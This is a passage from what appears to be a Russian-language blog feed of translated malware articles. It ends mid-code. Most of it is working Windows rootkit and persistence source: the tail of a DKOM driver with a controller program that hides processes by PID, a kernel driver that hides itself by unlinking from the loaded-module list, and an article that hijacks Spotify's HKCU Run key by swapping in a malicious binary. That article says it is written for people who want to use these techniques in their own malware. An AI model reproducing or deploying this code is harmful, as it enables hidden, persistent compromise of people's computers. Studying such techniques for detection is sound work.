    <span class="n">IoCreateDevice</span><span class="p">(</span><span class="n">pDriverObject</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">,</span><span class="n">FILE_DEVICE_UNKNOWN</span><span class="p">,</span><span class="n">FILE_DEVICE_SECURE_OPEN</span><span class="p">,</span><span class="n">FALSE</span><span class="p">,</span><span class="o">&amp;</span><span class="n">pDeviceObject</span><span class="p">);</span>
    <span class="n">IoCreateSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLink</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">);</span>
 
    <span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DriverUnload</span><span class="o">=</span><span class="n">Unload</span><span class="p">;</span>
 
    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="n">IRP_MJ_MAXIMUM_FUNCTION</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">DriverDispatch</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="n">pDeviceObject</span><span class="o">-&gt;</span><span class="n">Flags</span><span class="o">&amp;=~</span><span class="n">DO_DEVICE_INITIALIZING</span><span class="p">;</span>
    <span class="n">pDeviceObject</span><span class="o">-&gt;</span><span class="n">Flags</span><span class="o">|=</span><span class="n">DO_DIRECT_IO</span><span class="p">;</span>
 
    <span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Следующее юзермод приложение используется для управления драйвером</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span> 
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hFile</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">ProcessId</span><span class="p">,</span><span class="n">write</span><span class="p">;</span>
 
    <span class="n">hFile</span><span class="o">=</span><span class="n">CreateFile</span><span class="p">(</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">,</span><span class="n">GENERIC_WRITE</span><span class="p">,</span><span class="n">FILE_SHARE_READ</span><span class="o">|</span><span class="n">FILE_SHARE_WRITE</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="n">OPEN_EXISTING</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="nb">NULL</span><span class="p">);</span>
 
    <span class="k">if</span><span class="p">(</span><span class="n">hFile</span><span class="o">==</span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Error: Unable to connect to the driver (%d)</span><span class="se">\n</span><span class="s">Make sure the driver is loaded."</span><span class="p">,</span><span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Enter PID: "</span><span class="p">);</span>
        <span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">ProcessId</span><span class="p">);</span>
 
        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">WriteFile</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span><span class="o">&amp;</span><span class="n">ProcessId</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">),</span><span class="o">&amp;</span><span class="n">write</span><span class="p">,</span><span class="nb">NULL</span><span class="p">))</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Error: Unable to hide process (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">GetLastError</span><span class="p">());</span>
        <span class="p">}</span>
 
        <span class="k">else</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Process successfully hidden.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
 
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>]]></content><author><name></name></author><category term="[&quot;translations&quot;]" /><category term="windows" /><category term="malware" /><summary type="html"><![CDATA[DKOM - это техника, используемая некоторыми ядерными руткитами для сокрытия запущенного процесса. При сокрытии процесса, используя DKOM, руткит изменяет поля Flink и Blink у ActiveProcessLinks в структуре EPROCESS. Чтобы получить доступ к полям ActiveProcessLinks, руткит должен знать его смещение. Проблема заключается в том, что смещение ActiveProcessLinks в EPROCESS различается для каждой версии Windows, и руткиту необходимо хардкодить смещения и определять версию системы при скрытии процессов.]]></summary></entry><entry><title type="html">Сокрытие загруженного драйвера с помощью DKOM</title><link href="https://orderofsixangles.com/translations/2021/06/13/hide-driver-dkom.html" rel="alternate" type="text/html" title="Сокрытие загруженного драйвера с помощью DKOM" /><published>2021-06-13T00:00:00+00:00</published><updated>2021-06-13T00:00:00+00:00</updated><id>https://orderofsixangles.com/translations/2021/06/13/hide-driver-dkom</id><content type="html" xml:base="https://orderofsixangles.com/translations/2021/06/13/hide-driver-dkom.html"><![CDATA[<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;ntddk.h&gt;</span><span class="cp">
</span> 
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_LDR_DATA_TABLE_ENTRY</span>
<span class="p">{</span>
     <span class="n">LIST_ENTRY</span> <span class="n">InLoadOrderLinks</span><span class="p">;</span>
     <span class="n">LIST_ENTRY</span> <span class="n">InMemoryOrderLinks</span><span class="p">;</span>
     <span class="n">LIST_ENTRY</span> <span class="n">InInitializationOrderLinks</span><span class="p">;</span>
     <span class="n">PVOID</span> <span class="n">DllBase</span><span class="p">;</span>
     <span class="n">PVOID</span> <span class="n">EntryPoint</span><span class="p">;</span>
     <span class="n">ULONG</span> <span class="n">SizeOfImage</span><span class="p">;</span>
     <span class="n">UNICODE_STRING</span> <span class="n">FullDllName</span><span class="p">;</span>
     <span class="n">UNICODE_STRING</span> <span class="n">BaseDllName</span><span class="p">;</span>
     <span class="n">ULONG</span> <span class="n">Flags</span><span class="p">;</span>
     <span class="n">USHORT</span> <span class="n">LoadCount</span><span class="p">;</span>
     <span class="n">USHORT</span> <span class="n">TlsIndex</span><span class="p">;</span>
     <span class="k">union</span>
     <span class="p">{</span>
          <span class="n">LIST_ENTRY</span> <span class="n">HashLinks</span><span class="p">;</span>
          <span class="k">struct</span>
          <span class="p">{</span>
               <span class="n">PVOID</span> <span class="n">SectionPointer</span><span class="p">;</span>
               <span class="n">ULONG</span> <span class="n">CheckSum</span><span class="p">;</span>
          <span class="p">};</span>
     <span class="p">};</span>
     <span class="k">union</span>
     <span class="p">{</span>
          <span class="n">ULONG</span> <span class="n">TimeDateStamp</span><span class="p">;</span>
          <span class="n">PVOID</span> <span class="n">LoadedImports</span><span class="p">;</span>
     <span class="p">};</span>
     <span class="k">struct</span> <span class="nc">_ACTIVATION_CONTEXT</span> <span class="o">*</span> <span class="n">EntryPointActivationContext</span><span class="p">;</span>
     <span class="n">PVOID</span> <span class="n">PatchInformation</span><span class="p">;</span>
     <span class="n">LIST_ENTRY</span> <span class="n">ForwarderLinks</span><span class="p">;</span>
     <span class="n">LIST_ENTRY</span> <span class="n">ServiceTagLinks</span><span class="p">;</span>
     <span class="n">LIST_ENTRY</span> <span class="n">StaticLinks</span><span class="p">;</span>
<span class="p">}</span> <span class="n">LDR_DATA_TABLE_ENTRY</span><span class="p">,</span> <span class="o">*</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">;</span>
 
<span class="n">NTSTATUS</span> <span class="n">DriverEntry</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">pDriverObject</span><span class="p">,</span><span class="n">PUNICODE_STRING</span> <span class="n">pRegistryPath</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PLDR_DATA_TABLE_ENTRY</span> <span class="n">PrevEntry</span><span class="p">,</span><span class="n">ModuleEntry</span><span class="p">,</span><span class="n">NextEntry</span><span class="p">;</span>
 
    <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"DriverSection address: %#x"</span><span class="p">,</span><span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DriverSection</span><span class="p">);</span>
    <span class="n">ModuleEntry</span><span class="o">=</span><span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DriverSection</span><span class="p">;</span>
 
    <span class="n">PrevEntry</span><span class="o">=</span><span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Blink</span><span class="p">;</span>
    <span class="n">NextEntry</span><span class="o">=</span><span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
 
    <span class="n">PrevEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Flink</span><span class="o">=</span><span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
    <span class="n">NextEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Blink</span><span class="o">=</span><span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Blink</span><span class="p">;</span>
 
    <span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Flink</span><span class="o">=</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="p">)</span><span class="n">ModuleEntry</span><span class="p">;</span>
    <span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">InLoadOrderLinks</span><span class="p">.</span><span class="n">Blink</span><span class="o">=</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="p">)</span><span class="n">ModuleEntry</span><span class="p">;</span>
 
    <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"Hidden driver loaded at address %#x"</span><span class="p">,</span><span class="n">ModuleEntry</span><span class="o">-&gt;</span><span class="n">DllBase</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Данный код удаляет наш драйвер из связанного списка загруженных системой драйверов. При загрузке драйвера, адрес его объекта передается в DriverEntry. Поле DriverSection в структуре DRIVER_OBJECT указывает на структуру LDR_DATA_TABLE_ENTRY, которая содержит информацию о загруженном драйвере, такую как базовый адрес, адрес точки входа и т.д. Система начинает определять загруженные драйверы проходясь по списку PsLoadedModuleList, который содержит ссылки на другие структуры, описывающие драйвера. При удалении из списка структуры нашего драйвера, драйвер не будет определен системой.</p>

<p>Вышеприведенная техника обычно используется ядерными руткитами.</p>]]></content><author><name></name></author><category term="[&quot;translations&quot;]" /><category term="windows" /><category term="malware" /><summary type="html"><![CDATA[#include &lt;ntddk.h&gt; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { PLDR_DATA_TABLE_ENTRY PrevEntry,ModuleEntry,NextEntry; DbgPrint("DriverSection address: %#x",pDriverObject-&gt;DriverSection); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject-&gt;DriverSection; PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry-&gt;InLoadOrderLinks.Blink; NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry-&gt;InLoadOrderLinks.Flink; PrevEntry-&gt;InLoadOrderLinks.Flink=ModuleEntry-&gt;InLoadOrderLinks.Flink; NextEntry-&gt;InLoadOrderLinks.Blink=ModuleEntry-&gt;InLoadOrderLinks.Blink; ModuleEntry-&gt;InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry; ModuleEntry-&gt;InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry; DbgPrint("Hidden driver loaded at address %#x",ModuleEntry-&gt;DllBase); return STATUS_SUCCESS; }]]></summary></entry><entry><title type="html">Маскировка малвари в ключе реестра HKCU RUN</title><link href="https://orderofsixangles.com/translations/2021/06/13/hide-malware-in-registry.html" rel="alternate" type="text/html" title="Маскировка малвари в ключе реестра HKCU RUN" /><published>2021-06-13T00:00:00+00:00</published><updated>2021-06-13T00:00:00+00:00</updated><id>https://orderofsixangles.com/translations/2021/06/13/hide-malware-in-registry</id><content type="html" xml:base="https://orderofsixangles.com/translations/2021/06/13/hide-malware-in-registry.html"><![CDATA[<p><strong>коллекция vx-underground // авторы: <a href="https://twitter.com/smelly__vx">smelly__vx </a>и <a href="https://twitter.com/SpaceEthereal">Ethereal</a></strong></p>

<p><img src="/assets/images/translations/MalwareHideHCKURUN.png" alt="" /></p>

<p><strong>[</strong>часть 0 серии статей про закрепление в ОС от vx-underground<strong>]</strong></p>

<p><strong>Введение:</strong></p>

<p>В августе 2020, я разговаривал, с нашим другом <a href="https://twitter.com/Hexacorn">Hexacorn</a>, про техники закрепления малвари в ОС. Hexacorn насчитал более 100 уникальных методов, которые потенциально могут использоваться злоумышленниками. К сожалению, он не описал их программную реализацию и/или Proof-of-Concept. Но спасибо ему, он дал нам возможность продемонстрировать их для людей, кто хочет использовать техники закрепления в своем вредоносном коде. Данная серия статей преследует две цели: провести ревизию методов, описанных Hexacorn и критически взглянуть на неоригинальные методы закрепления, которые можно увидеть in the wild.</p>

<p>Наша первая статья продемонстрирует технику закрепления, которую не так часто можно увидеть in the wild. Ее смысл в том, чтобы скрывать свои вредоносные намерения на самом видном месте и/или прикидываться легитимным HCKU Run ключом. Я детально покажу, что метод не является чем-то сверхъестественным. Хотя, он и не так широко используем. Обычно, мы видим, что авторы малвари создают новые ключи в реестре, нежели используют существующие.</p>

<ul>
  <li>smelly</li>
</ul>

<p><strong>О чем будет говориться в статье?</strong></p>

<p>В статье будет краткий обзор ключа HCKU Run и как программно перехватить существующий run ключ, чтобы скрыть свои вредоносные действия. Вдобавок, мы перечислим список широко используемых приложений, подходящих для атаки, так как они вносят изменения в пользовательскую часть реестра (HKCU мы HKLM).</p>

<p>Наша программная реализация написана на С и использует Windows API.</p>

<p><strong>Известные проблемы:</strong></p>

<p>PoC в статьей использует Spotify, как цель. PoC не полностью маскирует ключ. В идеале, как только ключ будет перехвачен, наш вредоносный код должен запустить Spotify, при запуске системы. В нашем случае он просто вызывает MessageBoxA. Также, ярлык на рабочем столе будет невалидным. Он будет указывать на вредоносный бинарник, поэтому иконка будет отсутствовать. Окончательная реализация должна принять во внимание этот факт и все правильно скорректировать.</p>

<p><strong>Чего не будет в статье:</strong></p>

<p>Хотя реестр Windows крайне интересная штука, мы не будем описывать его архитектуру. Мы также не будем сравнивать эту технику с другими, которые будут описаны в последующих частях серии.</p>

<p>Мы не будем приводить примеры того, как эта техника детектируется антивирусами/может быть реверснута.</p>

<p><strong>Самый распространенный способ закрепления:</strong></p>

<p>Без сомнений, самый распространенный способ закрепления, а также самый очевидный, происходит в ветке HKEY_CURRENT_USER. HKEY_CURRENT_USER, как можно понять из имени - это ветка реестра предназначена для текущего пользователя. Чтение или запись в нее обычно не требует админских прав, поэтому любое пользовательское приложение может делать это очень просто. Для приложения, вносить изменения в эту ветку, является обыденным, рядовым действием. Приложения добавляются в автозагрузку здесь:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
</code></pre></div></div>

<p>Для техники, описываемой в статье, мы должны принять во внимание фундаментальную проблему с правами на папки в Windows и папки, куда устанавливаются приложения. В некоторых случаях, приложения (например NordVPN), устанавливаются в:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Program Files\NordVPN\NordVPN.exe 
</code></pre></div></div>

<p>Для создания папок по этому пути требуются админские права. Несмотря на это, некоторые установщики приложений, такие как Spotify, используют следующую директорию:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe
</code></pre></div></div>

<p>Проблема в том, что вредоносные приложения могут писать и читать в эту папку. Это позволяет вредоносному приложению либо замаскироваться в существующем Run ключе в HKEY_CURRENT_USER, либо перехватить их, **назвав вредоносное приложение Spotify.exe **и переименовать легитимное.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe ActualSpotify.exe 
</code></pre></div></div>

<p>Несмотря на то, что у малвари есть возможность программно спарсить уязвимые ключи реестра, мы, ради интереса, начали исследовать какие приложения хранят свои данные в %APPDATA%, а не в Program Files/(x86).</p>

<p><strong>Приложения, уязвимые в перехвату:</strong></p>

<table bordercolor="white" border="2" width="100%">
  <tr>
   <td><strong>Имя приложения</strong>
   </td>
   <td><strong>Версия</strong>
   </td>
   <td><strong>Имя подраздела реестра</strong>
   </td>
   <td><strong>Значение </strong>
   </td>
  </tr>
  <tr>
   <td>Amazon Music
   </td>
   <td>7.13.0.2210
   </td>
   <td>Amazon Music
   </td>
   <td>%LOCALAPPDATA%\Amazon Music\Amazon Music.exe
   </td>
  </tr>
  <tr>
   <td>Microsoft Teams
   </td>
   <td>1.3.00.19173
   </td>
   <td>com.squirrel.Teams.Team
   </td>
   <td>%LOCALAPPDATA%\Microsoft\Teams\Update.exe
   </td>
  </tr>
  <tr>
   <td>Discord 
   </td>
   <td>0.0.308
   </td>
   <td>Discord
   </td>
   <td>%LOCALAPPDATA%\Discord\app-0.0.307\Discord.exe
   </td>
  </tr>
  <tr>
   <td>One Drive
   </td>
   <td>20.143.*
   </td>
   <td>One Drive
   </td>
   <td>%LOCALAPPDATA%\Microsoft\OneDrive\OneDrive.exe
   </td>
  </tr>
  <tr>
   <td>Spotify
   </td>
   <td>1.1.42.622
   </td>
   <td>Spotify
   </td>
   <td>%APPDATA%\Spotify\Spotify.exe 
   </td>
  </tr>
  <tr>
   <td>Slack
   </td>
   <td>4.9.0
   </td>
   <td>com.squirrel.slack.slack
   </td>
   <td>%LOCALAPPDATA%\slack\slack.exe
   </td>
  </tr>
  <tr>
   <td>Flock
   </td>
   <td>2.2.430
   </td>
   <td>Flock
   </td>
   <td>%LOCALAPPDATA%\Flock\Flock.exe
   </td>
  </tr>
  <tr>
   <td>Toggl Track
   </td>
   <td>N/A
   </td>
   <td>TogglDesktop
   </td>
   <td>%LOCALAPPDATA%\TogglDesktop\TogglDesktop.exe
   </td>
  </tr>
</table>

<p><strong>Код:</strong></p>

<p>PoC содержит много кода по работе со строками. Многие функции здесь предназначены, для проверки путей к приложению или их конструированию.</p>

<p>1) Определяем, замаскировано ли наше приложение под Spotify. Если подстроки Spotify нет, вызываем функцию MasqueradeSpotifyKey. Иначе, вызываем <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa">MessageBoxA</a>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WCHAR</span> <span class="n">wModulePath</span><span class="p">[</span><span class="n">WCHAR_MAXPATH</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="n">GetModuleFileNameW</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">wModulePath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">wcsstr</span><span class="p">(</span><span class="n">wModulePath</span><span class="p">,</span> <span class="s">L"Spotify"</span><span class="p">)</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">MasqueradeSpotifyKey</span><span class="p">()</span> <span class="o">!=</span> <span class="n">ERROR_SUCCESS</span><span class="p">)</span>
        <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>
    <span class="p">}</span>
<span class="k">else</span>
    <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="s">""</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
</code></pre></div></div>

<p>2) Открываем ветку <a href="https://www.lifewire.com/hkey-current-user-2625901">HKEY_CURRENT_USER</a> по пути <em>Software\Microsoft\Windows\CurrentVersion\Run. _Запрашиваем права <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights">KEY_ALL_ACCESS</a>. Хотя, единственные требуемые права доступа для этого PoC - <strong>KEY_QUERY_VALUE</strong> и <strong>KEY_ENUMERATE_SUB_KEYS.</strong> Да, мы могли явно запросить права для ключа Spotify ( _Software\Microsoft\Windows\CurrentVersion\Run\Spotify)</em>, но мы хотели продемонстрировать динамический подход.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WCHAR</span> <span class="n">wRegistryPath</span><span class="p">[</span><span class="n">WCHAR_MAXPATH</span><span class="p">]</span> <span class="o">=</span> <span class="s">L"Software</span><span class="se">\\</span><span class="s">Microsoft</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">CurrentVersion</span><span class="se">\\</span><span class="s">Run"</span><span class="p">;</span>

<span class="n">HKEY</span> <span class="n">hKey</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hHive</span> <span class="o">=</span> <span class="n">HKEY_CURRENT_USER</span><span class="p">;</span>

<span class="n">BOOL</span> <span class="n">bFlag</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span>

<span class="n">dwError</span> <span class="o">=</span> <span class="p">(</span><span class="n">LRESULT</span><span class="p">)</span><span class="n">RegOpenKeyExW</span><span class="p">(</span><span class="n">hHive</span><span class="p">,</span> <span class="n">wRegistryPath</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">KEY_ALL_ACCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hKey</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="n">dwError</span> <span class="o">!=</span> <span class="n">ERROR_SUCCESS</span><span class="p">)</span> 
    <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>
</code></pre></div></div>

<p>3) Проходимся по всем записям в Run. Мы решили ограничиться числом 256. На каждой итерации мы вызываем <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regenumvaluew">RegEnumValueW</a>, используем <strong>LPDWORD lpType</strong>, в качестве 6 параметра, чтобы определить, имеет ли полученное значение тип <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types">REG_SZ</a>. Если нет, то продолжаем цикл дальше. Иначе, мы конвертируем полученный <a href="https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types">BYTE массив</a> в WCHAR и вызываем <a href="https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strstr-wcsstr-mbsstr-mbsstr-l?view=vs-2019">wcsstr</a>, чтобы определить, содержит ли она строку Spotify. В этом случае, мы устанавливаем BOOLEAN флаг в TRUE. Мы используем его в качестве сигнала успешности завершения цикла.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(;</span> <span class="n">dwError</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">;</span> <span class="n">dwError</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 

    <span class="n">DWORD</span> <span class="n">dwReturn</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpType</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">dwValueSize</span> <span class="o">=</span> <span class="n">WCHAR_MAXPATH</span><span class="p">,</span> <span class="n">dwDataSize</span> <span class="o">=</span>  <span class="n">WCHAR_MAXPATH</span><span class="p">;</span> <span class="n">BYTE</span> <span class="n">lpData</span><span class="p">[</span><span class="n">WCHAR_MAXPATH</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span> 

    <span class="n">WCHAR</span> <span class="n">wString</span><span class="p">[</span><span class="n">WCHAR_MAXPATH</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">WCHAR</span> <span class="n">lpValue</span><span class="p">[</span><span class="n">WCHAR_MAXPATH</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">dwReturn</span> <span class="o">=</span> <span class="p">(</span><span class="n">LSTATUS</span><span class="p">)</span><span class="n">RegEnumValueW</span><span class="p">(</span><span class="n">hKey</span><span class="p">,</span> <span class="n">dwError</span><span class="p">,</span> <span class="n">lpValue</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwValueSize</span><span class="p">,</span>   <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">lpType</span><span class="p">,</span> <span class="n">lpData</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwDataSize</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">dwReturn</span> <span class="o">!=</span> <span class="n">ERROR_SUCCESS</span> <span class="o">&amp;&amp;</span> <span class="n">dwError</span> <span class="o">!=</span> <span class="n">ERROR_NO_MORE_ITEMS</span><span class="p">)</span> 
        <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">lpType</span> <span class="o">!=</span> <span class="n">REG_SZ</span><span class="p">)</span> 
        <span class="k">continue</span><span class="p">;</span> 

    <span class="n">swprintf</span><span class="p">(</span><span class="n">wString</span><span class="p">,</span> <span class="s">L"%ws"</span><span class="p">,</span> <span class="n">lpData</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">wcsstr</span><span class="p">(</span><span class="n">wString</span><span class="p">,</span> <span class="s">L"Spotify"</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">bFlag</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span> 
        <span class="k">break</span><span class="p">;</span> 
    <span class="p">}</span> 
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">bFlag</span><span class="p">)</span> <span class="p">{</span> 
    <span class="n">SetLastError</span><span class="p">(</span><span class="n">ERROR_FILE_NOT_FOUND</span><span class="p">);</span>
    <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>4) Логика следующего кода проста. В начале, переименовываем <strong>Spotify.exe</strong> в <strong>RealSpotify.exe</strong>, вызвав <a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefile">MoveFile</a>. Потом переименовываем наш вредоносный файл и перемещаем его в папку Spotify, вызвав <a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-copyfile">CopyFile</a>. Если все прошло удачно, мы освобождаем ресурсы функцией <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey">RegCloseKey</a>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">GetEnvironmentVariableW</span><span class="p">(</span><span class="s">L"APPDATA"</span><span class="p">,</span> <span class="n">wModulePath</span><span class="p">,</span> <span class="n">WCHAR_MAXPATH</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> 
    <span class="k">goto</span> <span class="n">FAILURE</span><span class="p">;</span> 

